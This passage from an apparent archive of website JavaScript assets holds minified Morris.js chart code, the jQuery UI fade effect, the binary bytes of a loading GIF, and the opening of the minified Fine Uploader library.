e.setDate(e.getDate()+1)}},hour:n(60),"30min":n(30),"15min":n(15),"10min":n(10),"5min":n(5),minute:n(1),"30sec":r(30),"15sec":r(15),"10sec":r(10),"5sec":r(5),second:r(1)},t.AUTO_LABEL_ORDER=["decade","year","month","day","hour","30min","15min","10min","5min","minute","30sec","15sec","10sec","5sec","second"],t.Area=function(e){function n(e){if(!(this instanceof t.Area))return new t.Area(e);this.cumulative=!0,n.__super__.constructor.call(this,e)}return o(n,e),n.prototype.calcPoints=function(){var e,t,n,r,i,s,o;s=this.data,o=[];for(r=0,i=s.length;r<i;r++)e=s[r],e._x=this.transX(e.x),t=0,e._y=function(){var r,i,s,o;s=e.y,o=[];for(r=0,i=s.length;r<i;r++)n=s[r],t+=n||0,o.push(this.transY(t));return o}.call(this),o.push(e._ymax=e._y[e._y.length-1]);return o},n.prototype.drawSeries=function(){var e,t,r,i;for(e=r=i=this.options.ykeys.length-1;i<=0?r<=0:r>=0;e=i<=0?++r:--r)t=this.paths[e],t!==null&&(t+="L"+this.transX(this.xmax)+","+this.bottom+"L"+this.transX(this.xmin)+","+this.bottom+"Z",this.drawFilledPath(t,this.fillForSeries(e)));return n.__super__.drawSeries.call(this)},n.prototype.fillForSeries=function(e){var t;return t=Raphael.rgb2hsl(this.colorFor(this.data[e],e,"line")),Raphael.hsl(t.h,Math.min(255,t.s*.75),Math.min(255,t.l*1.25))},n.prototype.drawFilledPath=function(e,t){return this.raphael.path(e).attr("fill",t).attr("stroke-width",0)},n}(t.Line),t.Bar=function(n){function r(n){this.onHoverOut=u(this.onHoverOut,this),this.onHoverMove=u(this.onHoverMove,this);if(!(this instanceof t.Bar))return new t.Bar(n);r.__super__.constructor.call(this,e.extend({},n,{parseTime:!1}))}return o(r,n),r.prototype.init=function(){this.cumulative=this.options.stacked;if(this.options.hideHover!=="always")return this.hover=new t.Hover({parent:this.el}),this.on("hovermove",this.onHoverMove),this.on("hoverout",this.onHoverOut)},r.prototype.defaults={barSizeRatio:.75,barGap:3,barColors:["#0b62a4","#7a92a3","#4da74d","#afd8f8","#edc240","#cb4b4b","#9440ed"],xLabelMargin:50},r.prototype.calc=function(){var e;this.calcBars();if(this.options.hideHover===!1)return(e=this.hover).update.apply(e,this.hoverContentForRow(this.data.length-1))},r.prototype.calcBars=function(){var e,t,n,r,i,s,o;s=this.data,o=[];for(e=r=0,i=s.length;r<i;e=++r)t=s[e],t._x=this.left+this.width*(e+.5)/this.data.length,o.push(t._y=function(){var e,r,i,s;i=t.y,s=[];for(e=0,r=i.length;e<r;e++)n=i[e],n!=null?s.push(this.transY(n)):s.push(null);return s}.call(this));return o},r.prototype.draw=function(){return this.options.axes&&this.drawXAxis(),this.drawSeries()},r.prototype.drawXAxis=function(){var e,t,n,r,i,s,o,u,a;s=this.bottom+this.options.gridTextSize*1.25,r=null,a=[];for(e=o=0,u=this.data.length;0<=u?o<u:o>u;e=0<=u?++o:--o)i=this.data[this.data.length-1-e],t=this.drawXAxisLabel(i._x,s,i.label),n=t.getBBox(),(r==null||r>=n.x+n.width)&&n.x>=0&&n.x+n.width<this.el.width()?a.push(r=n.x-this.options.xLabelMargin):a.push(t.remove());return a},r.prototype.drawSeries=function(){var e,t,n,r,i,s,o,u,a,f,l,c,h,p;return n=this.width/this.options.data.length,u=this.options.stacked!=null?1:this.options.ykeys.length,e=(n*this.options.barSizeRatio-this.options.barGap*(u-1))/u,o=n*(1-this.options.barSizeRatio)/2,p=this.ymin<=0&&this.ymax>=0?this.transY(0):null,this.bars=function(){var u,d,v,m;v=this.data,m=[];for(r=u=0,d=v.length;u<d;r=++u)a=v[r],i=0,m.push(function(){var u,d,v,m;v=a._y,m=[];for(f=u=0,d=v.length;u<d;f=++u)h=v[f],h!==null?(p?(c=Math.min(h,p),t=Math.max(h,p)):(c=h,t=this.bottom),s=this.left+r*n+o,this.options.stacked||(s+=f*(e+this.options.barGap)),l=t-c,this.options.stacked&&(c-=i),this.drawBar(s,c,e,l,this.colorFor(a,f,"bar")),m.push(i+=l)):m.push(null);return m}.call(this));return m}.call(this)},r.prototype.colorFor=function(e,t,n){var r,i;return typeof this.options.barColors=="function"?(r={x:e.x,y:e.y[t],label:e.label},i={index:t,key:this.options.ykeys[t],label:this.options.labels[t]},this.options.barColors.call(this,r,i,n)):this.options.barColors[t%this.options.barColors.length]},r.prototype.hitTest=function(e,t){return this.data.length===0?null:(e=Math.max(Math.min(e,this.right),this.left),Math.min(this.data.length-1,Math.floor((e-this.left)/(this.width/this.data.length))))},r.prototype.onHoverMove=function(e,t){var n,r;return n=this.hitTest(e,t),(r=this.hover).update.apply(r,this.hoverContentForRow(n))},r.prototype.onHoverOut=function(){if(this.options.hideHover==="auto")return this.hover.hide()},r.prototype.hoverContentForRow=function(e){var t,n,r,i,s,o,u,a;if(typeof this.options.hoverCallback=="function")t=this.options.hoverCallback(e,this.options);else{r=this.data[e],t="<div class='morris-hover-row-label'>"+r.label+"</div>",a=r.y;for(n=o=0,u=a.length;o<u;n=++o)s=a[n],t+="<div class='morris-hover-point' style='color: "+this.colorFor(r,n,"label")+"'>\n  "+this.options.labels[n]+":\n  "+this.yLabelFormat(s)+"\n</div>"}return i=this.left+(e+.5)*this.width/this.data.length,[t,i]},r.prototype.drawXAxisLabel=function(e,t,n){var r;return r=this.raphael.text(e,t,n).attr("font-size",this.options.gridTextSize).attr("fill",this.options.gridTextColor)},r.prototype.drawBar=function(e,t,n,r,i){return this.raphael.rect(e,t,n,r).attr("fill",i).attr("stroke-width",0)},r}(t.Grid),t.Donut=function(){function n(n){this.select=u(this.select,this);if(!(this instanceof t.Donut))return new t.Donut(n);typeof n.element=="string"?this.el=e(document.getElementById(n.element)):this.el=e(n.element),this.options=e.extend({},this.defaults,n);if(this.el===null||this.el.length===0)throw new Error("Graph placeholder not found.");if(n.data===void 0||n.data.length===0)return;this.data=n.data,this.redraw()}return n.prototype.defaults={colors:["#0B62A4","#3980B5","#679DC6","#95BBD7","#B0CCE1","#095791","#095085","#083E67","#052C48","#042135"],backgroundColor:"#FFFFFF",labelColor:"#000000",formatter:t.commas},n.prototype.redraw=function(){var e,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x;this.el.empty(),this.raphael=new Raphael(this.el[0]),n=this.el.width()/2,r=this.el.height()/2,h=(Math.min(n,r)-10)/3,c=0,w=this.data;for(d=0,g=w.length;d<g;d++)p=w[d],c+=p.value;a=5/(2*h),e=1.9999*Math.PI-a*this.data.length,o=0,s=0,this.segments=[],E=this.data;for(v=0,y=E.length;v<y;v++)i=E[v],f=o+a+e*(i.value/c),l=new t.DonutSegment(n,r,h*2,h,o,f,this.options.colors[s%this.options.colors.length],this.options.backgroundColor,i,this.raphael),l.render(),this.segments.push(l),l.on("hover",this.select),o=f,s+=1;this.text1=this.drawEmptyDonutLabel(n,r-10,this.options.labelColor,15,800),this.text2=this.drawEmptyDonutLabel(n,r+10,this.options.labelColor,14),u=Math.max.apply(null,function(){var e,t,n,r;n=this.data,r=[];for(e=0,t=n.length;e<t;e++)i=n[e],r.push(i.value);return r}.call(this)),s=0,S=this.data,x=[];for(m=0,b=S.length;m<b;m++){i=S[m];if(i.value===u){this.select(s);break}x.push(s+=1)}return x},n.prototype.select=function(e){var t,n,r,i,s;s=this.segments;for(r=0,i=s.length;r<i;r++)t=s[r],t.deselect();return typeof e=="number"?n=this.segments[e]:n=e,n.select(),this.setLabels(n.data.label,this.options.formatter(n.data.value,n.data))},n.prototype.setLabels=function(e,t){var n,r,i,s,o,u,a,f;return n=(Math.min(this.el.width()/2,this.el.height()/2)-10)*2/3,s=1.8*n,i=n/2,r=n/3,this.text1.attr({text:e,transform:""}),o=this.text1.getBBox(),u=Math.min(s/o.width,i/o.height),this.text1.attr({transform:"S"+u+","+u+","+(o.x+o.width/2)+","+(o.y+o.height)}),this.text2.attr({text:t,transform:""}),a=this.text2.getBBox(),f=Math.min(s/a.width,r/a.height),this.text2.attr({transform:"S"+f+","+f+","+(a.x+a.width/2)+","+a.y})},n.prototype.drawEmptyDonutLabel=function(e,t,n,r,i){var s;return s=this.raphael.text(e,t,"").attr("font-size",r).attr("fill",n),i!=null&&s.attr("font-weight",i),s},n}(),t.DonutSegment=function(e){function t(e,t,n,r,i,s,o,a,f,l){this.cx=e,this.cy=t,this.inner=n,this.outer=r,this.color=o,this.backgroundColor=a,this.data=f,this.raphael=l,this.deselect=u(this.deselect,this),this.select=u(this.select,this),this.sin_p0=Math.sin(i),this.cos_p0=Math.cos(i),this.sin_p1=Math.sin(s),this.cos_p1=Math.cos(s),this.is_long=s-i>Math.PI?1:0,this.path=this.calcSegment(this.inner+3,this.inner+this.outer-5),this.selectedPath=this.calcSegment(this.inner+3,this.inner+this.outer),this.hilight=this.calcArc(this.inner)}return o(t,e),t.prototype.calcArcPoints=function(e){return[this.cx+e*this.sin_p0,this.cy+e*this.cos_p0,this.cx+e*this.sin_p1,this.cy+e*this.cos_p1]},t.prototype.calcSegment=function(e,t){var n,r,i,s,o,u,a,f,l,c;return l=this.calcArcPoints(e),n=l[0],i=l[1],r=l[2],s=l[3],c=this.calcArcPoints(t),o=c[0],a=c[1],u=c[2],f=c[3],"M"+n+","+i+("A"+e+","+e+",0,"+this.is_long+",0,"+r+","+s)+("L"+u+","+f)+("A"+t+","+t+",0,"+this.is_long+",1,"+o+","+a)+"Z"},t.prototype.calcArc=function(e){var t,n,r,i,s;return s=this.calcArcPoints(e),t=s[0],r=s[1],n=s[2],i=s[3],"M"+t+","+r+("A"+e+","+e+",0,"+this.is_long+",0,"+n+","+i)},t.prototype.render=function(){var e=this;return this.arc=this.drawDonutArc(this.hilight,this.color),this.seg=this.drawDonutSegment(this.path,this.color,this.backgroundColor,function(){return e.fire("hover",e)})},t.prototype.drawDonutArc=function(e,t){return this.raphael.path(e).attr({stroke:t,"stroke-width":2,opacity:0})},t.prototype.drawDonutSegment=function(e,t,n,r){return this.raphael.path(e).attr({fill:t,stroke:n,"stroke-width":3}).hover(r)},t.prototype.select=function(){if(!this.selected)return this.seg.animate({path:this.selectedPath},150,"<>"),this.arc.animate({opacity:1},150,"<>"),this.selected=!0},t.prototype.deselect=function(){if(this.selected)return this.seg.animate({path:this.path},150,"<>"),this.arc.animate({opacity:0},150,"<>"),this.selected=!1},t}(t.EventEmitter)}).call(this);js/jquery.ui.effect-fade.js000060400000001056150710775200011603 0ustar00/*!
 * jQuery UI Effects Fade 1.10.3
 * http://jqueryui.com
 *
 * Copyright 2013 jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/fade-effect/
 *
 * Depends:
 *	jquery.ui.effect.js
 */
(function( $, undefined ) {

$.effects.effect.fade = function( o, done ) {
	var el = $( this ),
		mode = $.effects.setMode( el, o.mode || "toggle" );

	el.animate({
		opacity: mode
	}, {
		queue: false,
		duration: o.duration,
		easing: o.easing,
		complete: done
	});
};

})( jQuery );
js/fileupload/loading.gif000060400000003230150710775200011406 0ustar00GIF89a�D><���|z|���\Z\���LNL���dfd�����DFD����lnl��̌��d^\��\VTlfdLFD���DBD���������\^\���TNL����������䜞����ljlLJL!�NETSCAPE2.0!�	!,w��pH,
�d�HX,Sg�a0���X@ŋ�ي"e���d![C$6!�BX���BLCjy!~DCD&!YE �Y�E!�tLB���LA!�	&,�D><���trt���\VT�����Č��LJL��䴲�|~|���DFD���ljl��Ԝ��TRT������\^\�����TNL��섆�DBD|z|���\Z\�����Ĕ��LNL��䴶�������LFD������z@�Px�����!1��L�h�B�
؀(�dX�6�`�@�����.!=��)#,lH'"XC#B|&'
H&�(H	(I 
#"\$X&$U�Y^�C$IA!�	,�D><���tvt���\Z\���LNL��������DFD��Ą��ljl\VTTVT������|~|���dbd���TNL���������LFDDBD���|z|���\^\��씖������̌��tnlTRT���LJLw@�p8��H"%�B�c�I$(���v�@b=6�,��ӈH�X�!E��jB&B
D$�_DY
HZ]I�

'M#
�MC�A!�	,�D><���trt���TRT������LJL|~|���\^\�����\Z\LFD���|z|���\VT���TNL�����䜞����DBD|vt���TVT������LNL������dbd���������s@�pH,�Fâ�tB���88��P�L�
���
W�p2&���/F��
#
��#'1H$C~�D"%C�WDD���"ZE	 �HB��CA!�	,�D><���trt������\VT������LJL�������Ĭ��|~|ljlTRTLFD������\^\������TNL�������������DBD������\Z\������LNL���������̴�����s��pH,�F�)�H�u���H%2$C���p`P�8��D�q�$�@WU"c
CS
"!E%jB$S!�FcWG	)#X�HB
���A;js/fileupload/jquery.fine-uploader.min.js000060400000427360150710775200014510 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
!function(global){!function(e){"use strict";function t(e){var t=s(e||{}),i=n(t);return o(i),a(t,i),d}function n(e){var t=r("uploaderType"),n=r("endpointType");return t?(t=t.charAt(0).toUpperCase()+t.slice(1).toLowerCase(),n?new qq[n]["FineUploader"+t](e):new qq["FineUploader"+t](e)):n?new qq[n].FineUploader(e):new qq.FineUploader(e)}function i(e,t){var n=d.data("fineuploader");return t?(void 0===n&&(n={}),n[e]=t,d.data("fineuploader",n),void 0):void 0===n?null:n[e]}function o(e){return i("uploader",e)}function r(e,t){return i(e,t)}function a(t,n){var i=t.callbacks={};e.each(n._options.callbacks,function(t,n){var o,r;o=/^on(\w+)/.exec(t)[1],o=o.substring(0,1).toLowerCase()+o.substring(1),r=d,i[t]=function(){var t,i,a=Array.prototype.slice.call(arguments),s=[];e.each(a,function(e,t){s.push(c(t))}),t=n.apply(this,a);try{i=r.triggerHandler(o,s)}catch(e){qq.log("Caught error in Fine Uploader jQuery event handler: "+e.message,"error")}return null!=t?t:i}}),n._options.callbacks=i}function s(t,n){var i,o;if(i=void 0===n?"basic"!==t.uploaderType?{element:d[0]}:{}:n,e.each(t,function(t,n){e.inArray(t,p)>=0?r(t,n):n instanceof e?i[t]=n[0]:e.isPlainObject(n)?(i[t]={},s(n,i[t])):e.isArray(n)?(o=[],e.each(n,function(t,n){var i={};n instanceof e?e.merge(o,n):e.isPlainObject(n)?(s(n,i),o.push(i)):o.push(n)}),i[t]=o):i[t]=n}),void 0===n)return i}function l(t){return"string"===e.type(t)&&!t.match(/^_/)&&void 0!==o()[t]}function u(e){var t,n=[],i=Array.prototype.slice.call(arguments,1);return s(i,n),t=o()[e].apply(o(),n),c(t)}function c(t){var n=t;return null==t||"object"!=typeof t||1!==t.nodeType&&9!==t.nodeType||!t.cloneNode||(n=e(t)),n}var d,p=["uploaderType","endpointType"];e.fn.fineUploader=function(n){var i=this,r=arguments,a=[];return this.each(function(s,c){if(d=e(c),o()&&l(n)){if(a.push(u.apply(i,r)),1===i.length)return!1}else"object"!=typeof n&&n?e.error("Method "+n+" does not exist on jQuery.fineUploader"):t.apply(i,r)}),1===a.length?a[0]:a.length>1?a:this}}(jQuery);var qq=function(e){"use strict";return{hide:function(){return e.style.display="none",this},attach:function(t,n){return e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent&&e.attachEvent("on"+t,n),function(){qq(e).detach(t,n)}},detach:function(t,n){return e.removeEventListener?e.removeEventListener(t,n,!1):e.attachEvent&&e.detachEvent("on"+t,n),this},contains:function(t){return!!t&&(e===t||(e.contains?e.contains(t):!!(8&t.compareDocumentPosition(e))))},insertBefore:function(t){return t.parentNode.insertBefore(e,t),this},remove:function(){return e.parentNode.removeChild(e),this},css:function(t){if(null==e.style)throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");return null!=t.opacity&&"string"!=typeof e.style.opacity&&"undefined"!=typeof e.filters&&(t.filter="alpha(opacity="+Math.round(100*t.opacity)+")"),qq.extend(e.style,t),this},hasClass:function(t,n){var i=new RegExp("(^| )"+t+"( |$)");return i.test(e.className)||!(!n||!i.test(e.parentNode.className))},addClass:function(t){return qq(e).hasClass(t)||(e.className+=" "+t),this},removeClass:function(t){var n=new RegExp("(^| )"+t+"( |$)");return e.className=e.className.replace(n," ").replace(/^\s+|\s+$/g,""),this},getByClass:function(t,n){var i,o=[];return n&&e.querySelector?e.querySelector("."+t):e.querySelectorAll?e.querySelectorAll("."+t):(i=e.getElementsByTagName("*"),qq.each(i,function(e,n){qq(n).hasClass(t)&&o.push(n)}),n?o[0]:o)},getFirstByClass:function(t){return qq(e).getByClass(t,!0)},children:function(){for(var t=[],n=e.firstChild;n;)1===n.nodeType&&t.push(n),n=n.nextSibling;return t},setText:function(t){return e.innerText=t,e.textContent=t,this},clearText:function(){return qq(e).setText("")},hasAttribute:function(t){var n;return e.hasAttribute?!!e.hasAttribute(t)&&null==/^false$/i.exec(e.getAttribute(t)):(n=e[t],void 0!==n&&null==/^false$/i.exec(n))}}};!function(){"use strict";qq.canvasToBlob=function(e,t,n){return qq.dataUriToBlob(e.toDataURL(t,n))},qq.dataUriToBlob=function(e){var t,n,i,o,r=function(e,t){var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})};return n=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),o=e.split(",")[0].split(":")[1].split(";")[0],t=new ArrayBuffer(n.length),i=new Uint8Array(t),qq.each(n,function(e,t){i[e]=t.charCodeAt(0)}),r(t,o)},qq.log=function(e,t){window.console&&(t&&"info"!==t?window.console[t]?window.console[t](e):window.console.log("<"+t+"> "+e):window.console.log(e))},qq.isObject=function(e){return e&&!e.nodeType&&"[object Object]"===Object.prototype.toString.call(e)},qq.isFunction=function(e){return"function"==typeof e},qq.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)||e&&window.ArrayBuffer&&e.buffer&&e.buffer.constructor===ArrayBuffer},qq.isItemList=function(e){return"[object DataTransferItemList]"===Object.prototype.toString.call(e)},qq.isNodeList=function(e){return"[object NodeList]"===Object.prototype.toString.call(e)||e.item&&e.namedItem},qq.isString=function(e){return"[object String]"===Object.prototype.toString.call(e)},qq.trimStr=function(e){return String.prototype.trim?e.trim():e.replace(/^\s+|\s+$/g,"")},qq.format=function(e){var t=Array.prototype.slice.call(arguments,1),n=e,i=n.indexOf("{}");return qq.each(t,function(e,t){var o=n.substring(0,i),r=n.substring(i+2);if(n=o+t+r,i=n.indexOf("{}",i+t.length),i<0)return!1}),n},qq.isFile=function(e){return window.File&&"[object File]"===Object.prototype.toString.call(e)},qq.isFileList=function(e){return window.FileList&&"[object FileList]"===Object.prototype.toString.call(e)},qq.isFileOrInput=function(e){return qq.isFile(e)||qq.isInput(e)},qq.isInput=function(e,t){var n=function(e){var n=e.toLowerCase();return t?"file"!==n:"file"===n};return!!(window.HTMLInputElement&&"[object HTMLInputElement]"===Object.prototype.toString.call(e)&&e.type&&n(e.type))||!!(e.tagName&&"input"===e.tagName.toLowerCase()&&e.type&&n(e.type))},qq.isBlob=function(e){if(window.Blob&&"[object Blob]"===Object.prototype.toString.call(e))return!0},qq.isXhrUploadSupported=function(){var e=document.createElement("input");return e.type="file",void 0!==e.multiple&&"undefined"!=typeof File&&"undefined"!=typeof FormData&&"undefined"!=typeof qq.createXhrInstance().upload},qq.createXhrInstance=function(){if(window.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("MSXML2.XMLHTTP.3.0")}catch(e){return qq.log("Neither XHR or ActiveX are supported!","error"),null}},qq.isFolderDropSupported=function(e){return e.items&&e.items.length>0&&e.items[0].webkitGetAsEntry},qq.isFileChunkingSupported=function(){return!qq.androidStock()&&qq.isXhrUploadSupported()&&(void 0!==File.prototype.slice||void 0!==File.prototype.webkitSlice||void 0!==File.prototype.mozSlice)},qq.sliceBlob=function(e,t,n){var i=e.slice||e.mozSlice||e.webkitSlice;return i.call(e,t,n)},qq.arrayBufferToHex=function(e){var t="",n=new Uint8Array(e);return qq.each(n,function(e,n){var i=n.toString(16);i.length<2&&(i="0"+i),t+=i}),t},qq.readBlobToHex=function(e,t,n){var i=qq.sliceBlob(e,t,t+n),o=new FileReader,r=new qq.Promise;return o.onload=function(){r.success(qq.arrayBufferToHex(o.result))},o.onerror=r.failure,o.readAsArrayBuffer(i),r},qq.extend=function(e,t,n){return qq.each(t,function(t,i){n&&qq.isObject(i)?(void 0===e[t]&&(e[t]={}),qq.extend(e[t],i,!0)):e[t]=i}),e},qq.override=function(e,t){var n={},i=t(n);return qq.each(i,function(t,i){void 0!==e[t]&&(n[t]=e[t]),e[t]=i}),e},qq.indexOf=function(e,t,n){if(e.indexOf)return e.indexOf(t,n);n=n||0;var i=e.length;for(n<0&&(n+=i);n<i;n+=1)if(e.hasOwnProperty(n)&&e[n]===t)return n;return-1},qq.getUniqueId=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0,n="x"==e?t:3&t|8;return n.toString(16)})},qq.ie=function(){return navigator.userAgent.indexOf("MSIE")!==-1||navigator.userAgent.indexOf("Trident")!==-1},qq.ie7=function(){return navigator.userAgent.indexOf("MSIE 7")!==-1},qq.ie8=function(){return navigator.userAgent.indexOf("MSIE 8")!==-1},qq.ie10=function(){return navigator.userAgent.indexOf("MSIE 10")!==-1},qq.ie11=function(){return qq.ie()&&navigator.userAgent.indexOf("rv:11")!==-1},qq.edge=function(){return navigator.userAgent.indexOf("Edge")>=0},qq.safari=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Apple")!==-1},qq.chrome=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Google")!==-1},qq.opera=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Opera")!==-1},qq.firefox=function(){return!qq.edge()&&!qq.ie11()&&navigator.userAgent.indexOf("Mozilla")!==-1&&void 0!==navigator.vendor&&""===navigator.vendor},qq.windows=function(){return"Win32"===navigator.platform},qq.android=function(){return navigator.userAgent.toLowerCase().indexOf("android")!==-1},qq.androidStock=function(){return qq.android()&&navigator.userAgent.toLowerCase().indexOf("chrome")<0},qq.ios6=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 6_")!==-1},qq.ios7=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 7_")!==-1},qq.ios8=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_")!==-1},qq.ios800=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_0 ")!==-1},qq.ios=function(){return navigator.userAgent.indexOf("iPad")!==-1||navigator.userAgent.indexOf("iPod")!==-1||navigator.userAgent.indexOf("iPhone")!==-1},qq.iosChrome=function(){return qq.ios()&&navigator.userAgent.indexOf("CriOS")!==-1},qq.iosSafari=function(){return qq.ios()&&!qq.iosChrome()&&navigator.userAgent.indexOf("Safari")!==-1},qq.iosSafariWebView=function(){return qq.ios()&&!qq.iosChrome()&&!qq.iosSafari()},qq.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},qq.toElement=function(){var e=document.createElement("div");return function(t){e.innerHTML=t;var n=e.firstChild;return e.removeChild(n),n}}(),qq.each=function(e,t){var n,i;if(e)if(window.Storage&&e.constructor===window.Storage)for(n=0;n<e.length&&(i=t(e.key(n),e.getItem(e.key(n))),i!==!1);n++);else if(qq.isArray(e)||qq.isItemList(e)||qq.isNodeList(e))for(n=0;n<e.length&&(i=t(n,e[n]),i!==!1);n++);else if(qq.isString(e))for(n=0;n<e.length&&(i=t(n,e.charAt(n)),i!==!1);n++);else for(n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&(i=t(n,e[n]),i===!1))break},qq.bind=function(e,t){if(qq.isFunction(e)){var n=Array.prototype.slice.call(arguments,2);return function(){var i=qq.extend([],n);return arguments.length&&(i=i.concat(Array.prototype.slice.call(arguments))),e.apply(t,i)}}throw new Error("first parameter must be a function!")},qq.obj2url=function(e,t,n){var i=[],o="&",r=function(e,n){var o=t?/\[\]$/.test(t)?t:t+"["+n+"]":n;"undefined"!==o&&"undefined"!==n&&i.push("object"==typeof e?qq.obj2url(e,o,!0):"[object Function]"===Object.prototype.toString.call(e)?encodeURIComponent(o)+"="+encodeURIComponent(e()):encodeURIComponent(o)+"="+encodeURIComponent(e))};return!n&&t?(o=/\?/.test(t)?/\?$/.test(t)?"":"&":"?",i.push(t),i.push(qq.obj2url(e))):"[object Array]"===Object.prototype.toString.call(e)&&"undefined"!=typeof e?qq.each(e,function(e,t){r(t,e)}):"undefined"!=typeof e&&null!==e&&"object"==typeof e?qq.each(e,function(e,t){r(t,e)}):i.push(encodeURIComponent(t)+"="+encodeURIComponent(e)),t?i.join(o):i.join(o).replace(/^&/,"").replace(/%20/g,"+")},qq.obj2FormData=function(e,t,n){return t||(t=new FormData),qq.each(e,function(e,i){e=n?n+"["+e+"]":e,qq.isObject(i)?qq.obj2FormData(i,t,e):qq.isFunction(i)?t.append(e,i()):t.append(e,i)}),t},qq.obj2Inputs=function(e,t){var n;return t||(t=document.createElement("form")),qq.obj2FormData(e,{append:function(e,i){n=document.createElement("input"),n.setAttribute("name",e),n.setAttribute("value",i),t.appendChild(n)}}),t},qq.parseJson=function(json){return window.JSON&&qq.isFunction(JSON.parse)?JSON.parse(json):eval("("+json+")")},qq.getExtension=function(e){var t=e.lastIndexOf(".")+1;if(t>0)return e.substr(t,e.length-t)},qq.getFilename=function(e){return qq.isInput(e)?e.value.replace(/.*(\/|\\)/,""):qq.isFile(e)&&null!==e.fileName&&void 0!==e.fileName?e.fileName:e.name},qq.DisposeSupport=function(){var e=[];return{dispose:function(){var t;do t=e.shift(),t&&t();while(t)},attach:function(){var e=arguments;this.addDisposer(qq(e[0]).attach.apply(this,Array.prototype.slice.call(arguments,1)))},addDisposer:function(t){e.push(t)}}}}(),function(){"use strict";"function"==typeof define&&define.amd?define(function(){return qq}):"undefined"!=typeof module&&module.exports?module.exports=qq:global.qq=qq}(),function(){"use strict";qq.Error=function(e){this.message="[Fine Uploader "+qq.version+"] "+e},qq.Error.prototype=new Error}(),qq.version="5.11.8",qq.supportedFeatures=function(){"use strict";function e(){var e,t=!0;try{e=document.createElement("input"),e.type="file",qq(e).hide(),e.disabled&&(t=!1)}catch(e){t=!1}return t}function t(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/)}function n(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/)}function i(){if(window.XMLHttpRequest){var e=qq.createXhrInstance();return void 0!==e.withCredentials}return!1}function o(){return void 0!==window.XDomainRequest}function r(){return!!i()||o()}function a(){return void 0!==document.createElement("input").webkitdirectory}function s(){try{return!!window.localStorage&&qq.isFunction(window.localStorage.setItem)}catch(e){return!1}}function l(){var e=document.createElement("span");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&!qq.android()&&!qq.ios()}var u,c,d,p,h,f,q,m,g,_,v,b,y,S,w;return u=e(),p=u&&qq.isXhrUploadSupported(),c=p&&!qq.androidStock(),d=p&&l(),h=d&&t(),f=p&&qq.isFileChunkingSupported(),q=p&&f&&s(),m=p&&n(),g=u&&(void 0!==window.postMessage||p),v=i(),_=o(),b=r(),y=a(),S=p&&void 0!==window.FileReader,w=function(){return!!p&&(!qq.androidStock()&&!qq.iosChrome())}(),{ajaxUploading:p,blobUploading:c,canDetermineSize:p,chunking:f,deleteFileCors:b,deleteFileCorsXdr:_,deleteFileCorsXhr:v,dialogElement:!!window.HTMLDialogElement,fileDrop:d,folderDrop:h,folderSelection:y,imagePreviews:S,imageValidation:S,itemSizeValidation:p,pause:f,progressBar:w,resume:q,scaling:S&&c,tiffPreviews:qq.safari(),unlimitedScaledImageSize:!qq.ios(),uploading:u,uploadCors:g,uploadCustomHeaders:p,uploadNonMultipart:p,uploadViaPaste:m}}(),qq.isGenericPromise=function(e){"use strict";return!!(e&&e.then&&qq.isFunction(e.then))},qq.Promise=function(){"use strict";var e,t,n=[],i=[],o=[],r=0;qq.extend(this,{then:function(o,a){return 0===r?(o&&n.push(o),a&&i.push(a)):r===-1?a&&a.apply(null,t):o&&o.apply(null,e),this},done:function(n){return 0===r?o.push(n):n.apply(null,void 0===t?e:t),this},success:function(){return r=1,e=arguments,n.length&&qq.each(n,function(t,n){n.apply(null,e)}),o.length&&qq.each(o,function(t,n){n.apply(null,e)}),this},failure:function(){return r=-1,t=arguments,i.length&&qq.each(i,function(e,n){n.apply(null,t)}),o.length&&qq.each(o,function(e,n){n.apply(null,t)}),this}})},qq.BlobProxy=function(e,t){"use strict";qq.extend(this,{referenceBlob:e,create:function(){return t(e)}})},qq.UploadButton=function(e){"use strict";function t(){var e=document.createElement("input");return e.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME,i),e.setAttribute("title",a.title),o.setMultiple(a.multiple,e),a.folders&&qq.supportedFeatures.folderSelection&&e.setAttribute("webkitdirectory",""),a.acceptFiles&&e.setAttribute("accept",a.acceptFiles),e.setAttribute("type","file"),e.setAttribute("name",a.name),qq(e).css({position:"absolute",right:0,top:0,fontFamily:"Arial",fontSize:qq.ie()&&!qq.ie8()?"3500px":"118px",margin:0,padding:0,cursor:"pointer",opacity:0}),!qq.ie7()&&qq(e).css({height:"100%"}),a.element.appendChild(e),r.attach(e,"change",function(){a.onChange(e)}),r.attach(e,"mouseover",function(){qq(a.element).addClass(a.hoverClass)}),r.attach(e,"mouseout",function(){qq(a.element).removeClass(a.hoverClass)}),r.attach(e,"focus",function(){qq(a.element).addClass(a.focusClass)}),r.attach(e,"blur",function(){qq(a.element).removeClass(a.focusClass)}),e}var n,i,o=this,r=new 